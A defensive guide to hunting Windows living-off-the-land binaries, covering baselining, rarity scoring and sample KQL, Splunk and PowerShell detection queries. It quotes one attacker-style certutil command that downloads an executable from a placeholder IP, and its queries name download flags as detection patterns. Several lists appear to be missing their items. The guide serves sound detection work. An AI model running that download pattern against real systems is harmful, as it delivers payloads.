Give an attacker one valid credential and a stock Windows install, and they already have a toolkit. PowerShell ships with the operating system. So do certutil, mshta, rundll32 and wmic. Every one of them is digitally signed by Microsoft, sitting in System32, and launched legitimately thousands of times a day in most environments. Nothing about the file is suspicious. The behaviour is.
That is the whole problem with living-off-the-land binaries, or LOLBins. Your allowlist approves them, your antivirus trusts them, and your users' own IT department runs them. Detection has to come from context: who launched what, from where, with which arguments, and what happened in the next thirty seconds. This guide covers how to build that context, query it with tools you probably already have, and turn the results into a hunt you can repeat next week.
A hash-based alert needs a bad file. A LOLBin hunt has no bad file. When an intruder runs certutil.exe -urlcache -split -f http://198.51.100.10/payload.exe, the executable that lands on disk is the only artefact that looks malicious, and it may never touch the endpoint at all if the next step is injected into memory.
The signal lives in the command line, the parent process, the user context, and the sequence of events that follows. That means your detection logic has to be behavioural, and behavioural logic only works if you know what normal looks like. Most teams skip that step, write a rule for mshta.exe, drown in alerts from a legitimate line-of-business app, and disable the rule. Baseline first, then hunt.
Before writing a single query, spend a week collecting data with no detection goal at all. You are answering one question: which LOLBins actually run here, and in what shape? For each binary on your list, capture:
Turn these counts into a simple rarity score. A command line that appears once across the fleet in thirty days is worth an analyst's attention; one that appears four thousand times is background noise. You do not need machine learning for this. A spreadsheet and a weekly query will do.
Some process relationships are so unusual they justify an alert on their own, before you read the arguments:
Normal is host-role specific. Interactive PowerShell on an admin jump host is Tuesday. PowerShell parented by a web worker process on a production server is a lead.
You do not need an expensive platform to start. You need process creation with command lines, and a few supporting logs. On Windows, that means:
For collection, Windows Event Forwarding is free and built in. For offline analysis of exported EVTX files, tools like Chainsaw, Hayabusa and DeepBlueCLI will parse a folder of logs and surface suspicious command lines without a SIEM. Sigma rules give you portable logic you can translate into whatever query language your stack speaks, and a Sysmon configuration tuned to your environment keeps the noise manageable.
These binaries deserve a permanent place in your hunt. The patterns below are the ones analysts see most often in intrusion activity:
Two tells are easy to miss. First, the process's working directory: a legitimate certutil run usually sits somewhere sensible, while a malicious one often starts in Temp, ProgramData or a UNC share. Second, loaded modules: the binary may be genuine, but a DLL it loads from a user-writable folder is not.
Start broad, then filter with the rarity you established during baselining. In a Microsoft Defender or Sentinel-style KQL environment, this pulls the shortlist:
DeviceProcessEvents
| where FileName in~ ("mshta.exe","regsvr32.exe","certutil.exe","rundll32.exe","bitsadmin.exe")
| where ProcessCommandLine has_any ("http://","https://","\\\\","javascript:","-urlcache","-enc")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
In Splunk, the equivalent hunt is a stats-driven rarity check:
index=win EventCode=1 Image="*\\certutil.exe"
| stats count values(CommandLine) as cmds by ComputerName, User
| where count < 3
And if all you have is a workstation and administrator rights, PowerShell is enough for a first pass:
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} -MaxEvents 20000 |
Where-Object { $_.Message -match 'certutil|mshta|regsvr32|rundll32' }
Tune as you go. Add exclusions for backup software, patch management and your own admin scripts, but write down why each exclusion exists. An allowlist nobody can justify is how a detection quietly dies.
A hit is the start of a question, not an incident. Work through the same five checks every time:
Score each hit, escalate the ones that combine a rare command line with an unusual parent and a following network connection, and document the verdict either way. Those notes become next quarter's baseline.
You do not need a project plan to get moving. Enable Sysmon and PowerShell script block logging on a representative pilot group on day one. On day two, inventory which LOLBins actually execute across that group. Spend day three turning those counts into a short list sorted by rarity. Run the three queries above on day four and triage everything they return. On day five, write up what you found, add the obvious false positives to an exclusion list with a reason next to each one, and schedule the query to run weekly.
By the following Monday you will have something more useful than a rule: a working picture of what normal looks like in your environment, and a short, defensible list of the times it does not. That picture is what makes the next alert fast to judge.
Photo: Nothing Ahead / Pexels